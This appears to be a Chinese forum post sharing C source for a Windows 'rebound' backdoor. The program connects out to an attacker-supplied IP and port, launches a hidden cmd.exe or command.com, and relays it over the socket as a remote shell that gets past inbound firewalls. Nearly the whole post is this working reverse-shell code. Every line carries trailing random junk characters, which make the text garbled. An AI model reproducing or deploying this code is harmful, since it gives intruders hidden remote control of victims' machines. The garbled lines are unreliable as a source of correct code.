这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 **fJAANc
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/* ============================== <,HdX,5
Rebound port in Windows NT Ia0.I " ,
By wind,2006/7 FTtYzKX(bv
===============================*/ ?`,Xb.NA$K
#include #N[nvIi}
#include efl6U/'Ij
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#pragma comment(lib,"wsock32.lib") eaYQyMv@
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void OutputShell(); X<#Q~"
SOCKET sClient; z<sf}6q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Rkw)IdB
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void main(int argc,char **argv) }yK_2zak5i
{ "_}Hzpy5k
WSADATA stWsaData; J0C,KU(
int nRet; 8`U5/!6fu
SOCKADDR_IN stSaiClient,stSaiServer; `GqS.O}C
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if(argc != 3) UfOF's_'<
{ P7 H-Dw
printf("Useage:\n\rRebound DestIP DestPort\n"); jxZR%D
return; st+X~;PX*
} 0p*(<8D}
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WSAStartup(MAKEWORD(2,2),&stWsaData); Gv?'R0s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =5[}&W
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stSaiClient.sin_family = AF_INET; l{\~I
stSaiClient.sin_port = htons(0); _udH(NC
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !3kyPoq+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PfF7*}P
{ Yvs9)g
printf("Bind Socket Failed!\n"); hz>&E,<8q
return; a4 O
} eH(8T
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stSaiServer.sin_family = AF_INET; P%ev8]2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6wqq"6w
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r*p<7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (SkI9[1\@3
{ w`CGDF\Oo
printf("Connect Error!"); 5owUQg,W
return; #T99p+O
} [`6|~E"F
OutputShell(); PHyS^J`
} !D7/Ja
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void OutputShell() T,TKt%
{ _$9<N5F.,o
char szBuff[1024]; 13'tsM&
SECURITY_ATTRIBUTES stSecurityAttributes; kbI:}b7H
OSVERSIONINFO stOsversionInfo; y9=/kFPRm
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QG4#E$c
STARTUPINFO stStartupInfo; _E{SGbCCi
char *szShell; p6A"_b^
PROCESS_INFORMATION stProcessInformation; ]O,!B''8k
unsigned long lBytesRead; y4/>3tz;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HZ>Xm6DnC5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I8Y[d$z
stSecurityAttributes.lpSecurityDescriptor = 0; E;@`{ v
stSecurityAttributes.bInheritHandle = TRUE; wbUpD(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H/|Mq#K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "e&S*8QhM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #]_S{sO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ullq}}
stStartupInfo.wShowWindow = SW_HIDE; ";J1$a
stStartupInfo.hStdInput = hReadPipe; Vv
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fM]zD/ g
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GetVersionEx(&stOsversionInfo); |z<E%`u%
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switch(stOsversionInfo.dwPlatformId) Gm}ecW
{ %F3M\)jU
case 1: %A,4vLe~6
szShell = "command.com"; {-PD3 [f"
break; }mxy6m ,
default: 17a'C
szShell = "cmd.exe"; B+ud-M0
break; 1,p7Sl^h
} &DYHkG
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )Jz L
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send(sClient,szMsg,77,0); +Tf ,2?O
while(1) V44IA[
{ W~$YKBW
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x\]%TTps
if(lBytesRead) ~gNa<tg"1
{ nr
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <Qe30_<K
send(sClient,szBuff,lBytesRead,0); <T>C}DGw
} jqPQ=X
else puV(eG
{ AMp[f%X
lBytesRead=recv(sClient,szBuff,1024,0); VC:.ya|Z
if(lBytesRead<=0) break; |2,u!{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Pn\ Lg8
} x=pq-&9>B
} p~Fc*g[!
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return; 3fgVvt-2
}